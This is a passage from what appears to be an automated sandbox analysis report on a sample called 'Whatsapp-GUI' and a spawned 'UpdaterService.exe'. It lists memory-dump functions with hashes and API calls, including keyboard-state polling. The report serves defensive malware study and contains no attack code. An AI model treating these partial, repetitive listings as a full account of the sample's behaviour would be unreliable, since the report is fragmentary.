Opcode ID: d665bf234c5d0fd76621084df6562dbcee9487dbb0a362281c595d45feee3ba8
Instruction ID: c467a6a8478d55ce07029fb4b16c5ff2d0ad7058d52506e1db88c16263c1dd27
Opcode Fuzzy Hash: d665bf234c5d0fd76621084df6562dbcee9487dbb0a362281c595d45feee3ba8
Instruction Fuzzy Hash: 2111D4B5C003599FDB10DF9AD884BDEFBF8EB48320F14842AE958A3251C378A544CFA5

Function 09E00980 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 09E009E7

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a69afd3a8ba8e3573f5b245a57d1d16ecec4bf9a8ff557f02ebc6b8e6f4f4929
Instruction ID: 71a4c37b710bb7d8383435c1d501d5204b86e9381e8d7ee97fe3dad941bfa7f1
Opcode Fuzzy Hash: a69afd3a8ba8e3573f5b245a57d1d16ecec4bf9a8ff557f02ebc6b8e6f4f4929
Instruction Fuzzy Hash: 0D113A75800249CFDB10DF9AC445BEEBBF4EB88320F14802AE554A3240D738A984CFA5

Function 09E00978 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 09E009E7

Memory Dump Source

Source File: 00000000.00000002.1823845165.0000000009E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 09E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e00000_Whatsapp-GUI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: a5f7e022416fbafe751f69edab8ac06aa55fbd44984ef90346d697ffe9f5f8e5
Instruction ID: fafee54cacc0202041052ead5a8be9cc479ad16915c5d1e4efbe126a1929e87a
Opcode Fuzzy Hash: a5f7e022416fbafe751f69edab8ac06aa55fbd44984ef90346d697ffe9f5f8e5
Instruction Fuzzy Hash: 0C114CB6900209CFDB10DF99C545BEEBBF4EB88320F15842AE554B3740D338AA84CFA1

Function 0116AF38 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0116AF9E

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0a34fa635b6d08f3d5c9f3521e6ce177e6e649330332e4647259835b770de4de
Instruction ID: e69d034d57bcef42832bebe73448a6bb119d3211f366b286c10b18bda88a23d9
Opcode Fuzzy Hash: 0a34fa635b6d08f3d5c9f3521e6ce177e6e649330332e4647259835b770de4de
Instruction Fuzzy Hash: C21110B5C002498FDB14CF9AD444BDEFBF8AF88324F10846AD958B7250C379A545CFA2

Function 0765B720 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0765B785

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 774ae5160f55225b59011df631038613c5d7d91232d6fbf2ef012d95f8f08c80
Instruction ID: 27e6eab1d65f0b2972ae161421847cb629f902caded7d0007b160d75da8a75ce
Opcode Fuzzy Hash: 774ae5160f55225b59011df631038613c5d7d91232d6fbf2ef012d95f8f08c80
Instruction Fuzzy Hash: A51106B5800349DFCB10CF99C545BDEBBF8EB48324F10885AE559A7710C375A544CFA1

Function 07651361 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 076513C5

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 7131397b153d71fdc16ea4d080aa622d49864a14c2ed43e56dc1fcf914c0dbfc
Instruction ID: edf6ca4b6c5fdf4149e08b8ee602c95c84cfccc2ee5f0d90222774c8897ce675
Opcode Fuzzy Hash: 7131397b153d71fdc16ea4d080aa622d49864a14c2ed43e56dc1fcf914c0dbfc
Instruction Fuzzy Hash: FD11EDB1C106598FCB14DF9AD884BCEFBF4EB49324F10842AE959A3610C378A544CFA5

Function 0765B728 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0765B785

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: b0315e4797b8877d54b05d83989e5094a9219ceb556b9daea19e5ddb65529798
Instruction ID: 2b7ab1566165b9361479887cc569422572dc61d341f64cdde61375e0d1672133
Opcode Fuzzy Hash: b0315e4797b8877d54b05d83989e5094a9219ceb556b9daea19e5ddb65529798
Instruction Fuzzy Hash: D811D0B58003499FDB10DF9AC885BDEBBF8EB48324F10845AE959A7310C375A984CFA5

Function 07651368 Relevance: 1.5, APIs: 1, Instructions: 43windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32 ref: 076513C5

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 4be73d41f72b8e6dc003111bcd833b496f5e9652ead27f1c17399f6f42793c06
Instruction ID: 35e199cc60238ce1fb135b3ab944b6960b7411c35d7c35db08826ede882f7819
Opcode Fuzzy Hash: 4be73d41f72b8e6dc003111bcd833b496f5e9652ead27f1c17399f6f42793c06
Instruction Fuzzy Hash: 1B11FBB1C002598FCB20DF9AD444BCEFBF4AB49324F10842AE859A3610C378A544CFA5

Function 0111D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817156632.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_111d000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a3bac66dde42435632164bfdea6919d39504a4a4d121cfe057616abf4db7ac
Instruction ID: 8e7d59670e727c1cfd7409b76605a238218c2401154eb620a09cf2fc433b9259
Opcode Fuzzy Hash: 75a3bac66dde42435632164bfdea6919d39504a4a4d121cfe057616abf4db7ac
Instruction Fuzzy Hash: 38212971504200DFDF09DF98E5C8B66FBA5FB84324F20C67DE9094B25AC336D446CA62

Function 0111D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817156632.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_111d000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d87c4b284ee8d5fb2545fb5ada51e02364df933f0f5a5eec97455d9a59bfd1
Instruction ID: bb7b4db4f034ea94a1be980cf9f99bc2acb7c2d115a099f2de59c4257fbdce32
Opcode Fuzzy Hash: 55d87c4b284ee8d5fb2545fb5ada51e02364df933f0f5a5eec97455d9a59bfd1
Instruction Fuzzy Hash: 5921F275604200DFDF19DF58E988B26FFA5EB84354F20C5BDD90A4B25AC33AD447CA62

Function 0111D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817156632.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_111d000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: f321795ef4a5d86cfaa499604660b60ea02dc2d95bd8df604b533a379625f47f
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: D8119075504280DFDB16CF58E5C8B16FF61FB44314F24C6AAD8494B65AC33BD44ACB62

Function 0111D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817156632.000000000111D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0111D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_111d000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 2d0e50a1b4982b02526541530e5bfd571a4ab0c834e7895fe27d5a3c3109e233
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: A811BB75504280DFDB06CF58D5C8B55FFA1FB84224F24C6AAD8494B69AC33AD40ACB62

Function 00EFD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816943550.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_efd000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba74f18b638b1123986dc70d327ba2f920dfd5d82dfcf8421de9613b5c46b299
Instruction ID: 1ddca4991cb89f94e5e77d6fb0ef121c769f23fbc93918618b9b8b31145db361
Opcode Fuzzy Hash: ba74f18b638b1123986dc70d327ba2f920dfd5d82dfcf8421de9613b5c46b299
Instruction Fuzzy Hash: 0501F73100C3489AE7106A25CD84BB7BF99DF41324F18C52BEE085E2D6D6799841C671

Function 00EFD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1816943550.0000000000EFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_efd000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba165ceacd5b593bc2fbca2b3aaa9c0dea89b51b976e65f8b911da39f89535da
Instruction ID: 64e35486e2c512e1602baa4477220e6d6b8364ab3e6e19dbc8e43ed16a142af4
Opcode Fuzzy Hash: ba165ceacd5b593bc2fbca2b3aaa9c0dea89b51b976e65f8b911da39f89535da
Instruction Fuzzy Hash: B8F062714093449AE7109E16CC88B72FFA8EF51738F18C45AFE485F296C2799845CAB1

Non-executed Functions

Function 0765B930 Relevance: 7.6, APIs: 5, Instructions: 117keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000001), ref: 0765B98D
GetKeyState.USER32(00000002), ref: 0765B9D2
GetKeyState.USER32(00000004), ref: 0765BA17
GetKeyState.USER32(00000005), ref: 0765BA5C
GetKeyState.USER32(00000006), ref: 0765BAA1

Memory Dump Source

Source File: 00000000.00000002.1821795675.0000000007650000.00000040.00000800.00020000.00000000.sdmp, Offset: 07650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7650000_Whatsapp-GUI.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 88aa2e808b55593ffec13b1b6b6c5161e9830a8a0cb2cf24fff7420a0682cc8f
Instruction ID: 8ff4a3168e30df38bf6de2b2eacf3a7789b611ae28ea25f9e2ac9e73173df6f9
Opcode Fuzzy Hash: 88aa2e808b55593ffec13b1b6b6c5161e9830a8a0cb2cf24fff7420a0682cc8f
Instruction Fuzzy Hash: D15180F1800799CEDB12CF6AC4087AFBFF4EB05709F20845DD489AB691C3B99545CBA6

Function 0116D55C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1817449445.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Whatsapp-GUI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 619aa39bd986b58c98a08df892fadd2dc94c0f727fec48bc78f23e4b3ecebc3d
Instruction ID: a8b96e5fb2448b38b07c8ebbeb33367dee8cbfc95070566bf90b9964d45e5e62
Opcode Fuzzy Hash: 619aa39bd986b58c98a08df892fadd2dc94c0f727fec48bc78f23e4b3ecebc3d
Instruction Fuzzy Hash: F6A19232E00217CFCF09DFB4D85449EBBB6FF85304B15856AE905AB261DB32D926CB40

Analysis Process: UpdaterService.exePID: 7636, Parent PID: 7316COMMON

Non-executed Functions

Function 04F5C190 Relevance: 12.3, APIs: 8, Instructions: 322COMMON

Download Yara Rule

APIs

Part of subcall function 04F5BF9A: __time64.LIBCMT ref: 04F5BFA4

__wsplitpath.LIBCMT ref: 04F5C26F

Part of subcall function 04F16D9E: __wsplitpath_helper.LIBCMT ref: 04F16DDE

_wcscpy.LIBCMT ref: 04F5C282
_wcscat.LIBCMT ref: 04F5C295
__wsplitpath.LIBCMT ref: 04F5C2BA
_wcscat.LIBCMT ref: 04F5C2D0
_wcscat.LIBCMT ref: 04F5C2E3
_wcscmp.LIBCMT ref: 04F5C22A

Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C861
Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C874

_wcsncpy.LIBCMT ref: 04F5C500

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat_wcscmp$__wsplitpath$__time64__wsplitpath_helper_wcscpy_wcsncpy
String ID:
API String ID: 59685410-0
Opcode ID: 037ab825d4aec8c71b7abb8d8ca114f8844bf99d2c330f8cc0eac3d5d9f3686c
Instruction ID: b6a27f7c3d73515ff4639459964aefa50a4b86bd971a2e5a08f025b1e10f7fa4
Opcode Fuzzy Hash: 037ab825d4aec8c71b7abb8d8ca114f8844bf99d2c330f8cc0eac3d5d9f3686c
Instruction Fuzzy Hash: BFC11DB1D0021DAEDF11DF95CC84EEEB7BDEF55314F0040A6E609E6160EB70AA468F65

Function 04F5C190 Relevance: 12.3, APIs: 8, Instructions: 322COMMON

Download Yara Rule

APIs

Part of subcall function 04F13A66: _malloc.LIBCMT ref: 04F13A7E

Part of subcall function 04F5BF9A: __time64.LIBCMT ref: 04F5BFA4

__wsplitpath.LIBCMT ref: 04F5C26F

Part of subcall function 04F16D9E: __wsplitpath_helper.LIBCMT ref: 04F16DDE

_wcscpy.LIBCMT ref: 04F5C282
_wcscat.LIBCMT ref: 04F5C295
__wsplitpath.LIBCMT ref: 04F5C2BA
_wcscat.LIBCMT ref: 04F5C2D0
_wcscat.LIBCMT ref: 04F5C2E3
_wcscmp.LIBCMT ref: 04F5C22A

Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C861
Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C874

_wcsncpy.LIBCMT ref: 04F5C500

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscat_wcscmp$__wsplitpath$__time64__wsplitpath_helper_malloc_wcscpy_wcsncpy
String ID:
API String ID: 1566690071-0
Opcode ID: cbdb25bb095c1a0354a603b4a31a0ca3df56cc99ff673012826c3fcd726165ae
Instruction ID: b6a27f7c3d73515ff4639459964aefa50a4b86bd971a2e5a08f025b1e10f7fa4
Opcode Fuzzy Hash: cbdb25bb095c1a0354a603b4a31a0ca3df56cc99ff673012826c3fcd726165ae
Instruction Fuzzy Hash: BFC11DB1D0021DAEDF11DF95CC84EEEB7BDEF55314F0040A6E609E6160EB70AA468F65

Function 04F4F1C8 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 04F4F1DD
_memcmp.LIBCMT ref: 04F4F1FF
_memcmp.LIBCMT ref: 04F4F217
_memcmp.LIBCMT ref: 04F4F22A
_memcmp.LIBCMT ref: 04F4F244
_memcmp.LIBCMT ref: 04F4F257
_memcmp.LIBCMT ref: 04F4F26F
_memcmp.LIBCMT ref: 04F4F28A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 34fa0fb60bcea54a2c17385dbe50e81113eb4266d2a716df9d85070b8f25c8e5
Instruction ID: c66b22ecdfebd4ae66bc47fbf94beacea62cb79e27a12fd48a422fc666b1395c
Opcode Fuzzy Hash: 34fa0fb60bcea54a2c17385dbe50e81113eb4266d2a716df9d85070b8f25c8e5
Instruction Fuzzy Hash: E6219A6AB426156BEA11AA208D41F6B7E5CAFD23A9F004031FD09A6641FF14FF1386B5

Function 04F4F1C8 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 04F4F1DD
_memcmp.LIBCMT ref: 04F4F1FF
_memcmp.LIBCMT ref: 04F4F217
_memcmp.LIBCMT ref: 04F4F22A
_memcmp.LIBCMT ref: 04F4F244
_memcmp.LIBCMT ref: 04F4F257
_memcmp.LIBCMT ref: 04F4F26F
_memcmp.LIBCMT ref: 04F4F28A

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 34fa0fb60bcea54a2c17385dbe50e81113eb4266d2a716df9d85070b8f25c8e5
Instruction ID: c66b22ecdfebd4ae66bc47fbf94beacea62cb79e27a12fd48a422fc666b1395c
Opcode Fuzzy Hash: 34fa0fb60bcea54a2c17385dbe50e81113eb4266d2a716df9d85070b8f25c8e5
Instruction Fuzzy Hash: E6219A6AB426156BEA11AA208D41F6B7E5CAFD23A9F004031FD09A6641FF14FF1386B5

Function 04F5F81F Relevance: 10.8, APIs: 7, Instructions: 280COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5F953
__swprintf.LIBCMT ref: 04F5F996
__swprintf.LIBCMT ref: 04F5F9EA

Part of subcall function 04F16348: __woutput_l.LIBCMT ref: 04F163A1

__swprintf.LIBCMT ref: 04F5FA38

Part of subcall function 04F16348: __flsbuf.LIBCMT ref: 04F163C3
Part of subcall function 04F16348: __flsbuf.LIBCMT ref: 04F163DB

__swprintf.LIBCMT ref: 04F5FA87
__swprintf.LIBCMT ref: 04F5FAD6
__swprintf.LIBCMT ref: 04F5FB25

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf$__flsbuf$__woutput_l
String ID:
API String ID: 696488392-0
Opcode ID: 1a0dc1cea80da18ec77a019afb7b0724a9b9419e601588f84705e3297ff5f844
Instruction ID: a8d12e579c3f1703de57bd328b3a63985e590fa08df33aab6ec5e30016bb166f
Opcode Fuzzy Hash: 1a0dc1cea80da18ec77a019afb7b0724a9b9419e601588f84705e3297ff5f844
Instruction Fuzzy Hash: C8A132B2504345ABE710EF64CD84DAFB7ECAF95708F404959FA85C6190EB34FA09CB62

Function 04F5F81F Relevance: 10.8, APIs: 7, Instructions: 280COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 04F5F953
__swprintf.LIBCMT ref: 04F5F996
__swprintf.LIBCMT ref: 04F5F9EA

Part of subcall function 04F16348: __woutput_l.LIBCMT ref: 04F163A1

__swprintf.LIBCMT ref: 04F5FA38

Part of subcall function 04F16348: __flsbuf.LIBCMT ref: 04F163C3
Part of subcall function 04F16348: __flsbuf.LIBCMT ref: 04F163DB

__swprintf.LIBCMT ref: 04F5FA87
__swprintf.LIBCMT ref: 04F5FAD6
__swprintf.LIBCMT ref: 04F5FB25

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: __swprintf$__flsbuf$__woutput_l
String ID:
API String ID: 696488392-0
Opcode ID: 1a0dc1cea80da18ec77a019afb7b0724a9b9419e601588f84705e3297ff5f844
Instruction ID: a8d12e579c3f1703de57bd328b3a63985e590fa08df33aab6ec5e30016bb166f
Opcode Fuzzy Hash: 1a0dc1cea80da18ec77a019afb7b0724a9b9419e601588f84705e3297ff5f844
Instruction Fuzzy Hash: C8A132B2504345ABE710EF64CD84DAFB7ECAF95708F404959FA85C6190EB34FA09CB62

Function 04F4E4ED Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F4E542
_wcscmp.LIBCMT ref: 04F4E5A5
_wcsstr.LIBCMT ref: 04F4E5B6
_wcscmp.LIBCMT ref: 04F4E5FE
_wcscmp.LIBCMT ref: 04F4E67E

Strings

@, xrefs: 04F4E512

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp$_wcsstr
String ID: @
API String ID: 3312506106-2766056989
Opcode ID: 0094447e44c56e22e11084c7a8f53b86b57b694dd4af5d1164f6c8f550dfcf6e
Instruction ID: 3354339b4bdae03c81a3515aa39f18e07641aafe34dd90666f0b75a89805abf2
Opcode Fuzzy Hash: 0094447e44c56e22e11084c7a8f53b86b57b694dd4af5d1164f6c8f550dfcf6e
Instruction Fuzzy Hash: B681A1714042059FEB05DF14C884FAA7BE8FF84768F04856AED899A0A5EF34F947CB61

Function 04F4E4ED Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F4E542
_wcscmp.LIBCMT ref: 04F4E5A5
_wcsstr.LIBCMT ref: 04F4E5B6
_wcscmp.LIBCMT ref: 04F4E5FE
_wcscmp.LIBCMT ref: 04F4E67E

Strings

@, xrefs: 04F4E512

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp$_wcsstr
String ID: @
API String ID: 3312506106-2766056989
Opcode ID: 0094447e44c56e22e11084c7a8f53b86b57b694dd4af5d1164f6c8f550dfcf6e
Instruction ID: 3354339b4bdae03c81a3515aa39f18e07641aafe34dd90666f0b75a89805abf2
Opcode Fuzzy Hash: 0094447e44c56e22e11084c7a8f53b86b57b694dd4af5d1164f6c8f550dfcf6e
Instruction Fuzzy Hash: B681A1714042059FEB05DF14C884FAA7BE8FF84768F04856AED899A0A5EF34F947CB61

Function 04F57CFC Relevance: 9.2, APIs: 6, Instructions: 170COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F57D95

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: 985e34a7fe0b1f64757abfdaa2b612e85eb51a444b82fa52a8ec8bc951f26ee8
Instruction ID: 4ba478446dae73cb89138ba418a9c50b79135b748f10fd72c1771d6e9eb9da5c
Opcode Fuzzy Hash: 985e34a7fe0b1f64757abfdaa2b612e85eb51a444b82fa52a8ec8bc951f26ee8
Instruction Fuzzy Hash: 125166B24083859BD764EBA4DC809DFB3DCAF85354F00492FA689D3161EF74B28AC756

Function 04F57CFC Relevance: 9.2, APIs: 6, Instructions: 170COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 04F57D95

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _wcscmp
String ID:
API String ID: 856254489-0
Opcode ID: 985e34a7fe0b1f64757abfdaa2b612e85eb51a444b82fa52a8ec8bc951f26ee8
Instruction ID: 4ba478446dae73cb89138ba418a9c50b79135b748f10fd72c1771d6e9eb9da5c
Opcode Fuzzy Hash: 985e34a7fe0b1f64757abfdaa2b612e85eb51a444b82fa52a8ec8bc951f26ee8
Instruction Fuzzy Hash: 125166B24083859BD764EBA4DC809DFB3DCAF85354F00492FA689D3161EF74B28AC756

Function 04F5C596 Relevance: 9.2, APIs: 6, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C861
Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C874

_malloc.LIBCMT ref: 04F5C693
_malloc.LIBCMT ref: 04F5C69D
_free.LIBCMT ref: 04F5C6DF
_free.LIBCMT ref: 04F5C6E6
_free.LIBCMT ref: 04F5C751
_free.LIBCMT ref: 04F5C759

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04EF4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _free$_malloc_wcscmp
String ID:
API String ID: 856385010-0
Opcode ID: a72594d4c8fa1485c4065ec94746957851426daaa9a1c50ea9830ad58a714814
Instruction ID: 764161c6d321f05724db98db3df0200ee646d5848350874f36d11013293ea0d9
Opcode Fuzzy Hash: a72594d4c8fa1485c4065ec94746957851426daaa9a1c50ea9830ad58a714814
Instruction Fuzzy Hash: 415161B1D14259AFEF24EF64DC80AAEBBB9FF48304F00409EE649A3250D7716A45CF59

Function 04F5C596 Relevance: 9.2, APIs: 6, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C861
Part of subcall function 04F5C771: _wcscmp.LIBCMT ref: 04F5C874

_malloc.LIBCMT ref: 04F5C693
_malloc.LIBCMT ref: 04F5C69D
_free.LIBCMT ref: 04F5C6DF
_free.LIBCMT ref: 04F5C6E6
_free.LIBCMT ref: 04F5C751
_free.LIBCMT ref: 04F5C759

Memory Dump Source

Source File: 00000002.00000003.1834752096.0000000004EF4000.00000004.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Associated: 00000002.00000003.1834387341.0000000004ED0000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_4ed0000_UpdaterService.jbxd

Similarity

API ID: _free$_malloc_wcscmp
String ID:
API String ID: 856385010-0
Opcode ID: a72594d4c8fa1485c4065ec94746957851426daaa9a1c50ea9830ad58a714814
Instruction ID: 764161c6d321f05724db98db3df0200ee646d5848350874f36d11013293ea0d9
Opcode Fuzzy Hash: a72594d4c8fa1485c4065ec94746957851426daaa9a1c50ea9830ad58a714814
Instruction Fuzzy Hash: 415161B1D14259AFEF24EF64DC80AAEBBB9FF48304F00409EE649A3250D7716A45CF59

Function 04F58638 Relevance: 9.1, APIs: 6, Instructions: 138COMMON

Download Yara Rule

APIs

